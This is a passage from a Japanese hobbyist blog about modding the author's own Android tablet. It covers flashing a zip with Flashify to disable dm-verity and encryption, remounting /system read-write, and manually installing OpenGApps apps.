systemlessで楽しみつつ、誰かTWRP作るのを待つかな(おい)と思っていたんですが、どうもFireタブとかで使われていたFlashifyを使えばTWRP的なことができるという情報を拾ったので、バックアップあるしって事でdm-verityおよび暗号化を解除するzipを焼いてみることにしました(諦め半分でやってたので、スクショないです...)
# mount | grep system /dev/block/mmcblk0p20 on /system type ext4 (ro,seclabel,relatime,data=ordered) (Magiskのあれこれは省略) # mount -o rw,remount /system # mount | grep system /dev/block/mmcblk0p20 on /system type ext4 (rw,seclabel,relatime,data=ordered) # touch /system/test # ls /system | grep test test
fstabもブートローダもダメだったのに...?
この辺の仕組みは気になるので、あとでスクリプト読んで何かわかったら追記します。
GApps
最後にGoogle周りのあれこれを入れて普通のタブレット(当社比)を完成させます。
上のFlashifyの活躍もありますし、選択肢にGAppsってあるのでFlashifyでいけるだろって思ってたら、何故かGAppsはだめでした...(何かやり方がダメだった可能性もあるけど)
自分でOpenGAppsのzip取ってきて焼いてもダメだったので、Flashifyは諦めてOpenGAppsのzip内のCoreフォルダ以下のapkを手動で/system/priv-appに突っ込みました。
なんだか悔しい...
この辺もどうにかして追記しておきます。
[追記]前述のようにTWRPの導入でかなり簡略化できました。
どうでもいいことなんですけど、このタブレットデフォルトの設定だと字がまあまあ小さいです...
というわけで、あとで色々追記します(するはず...)
追記しました。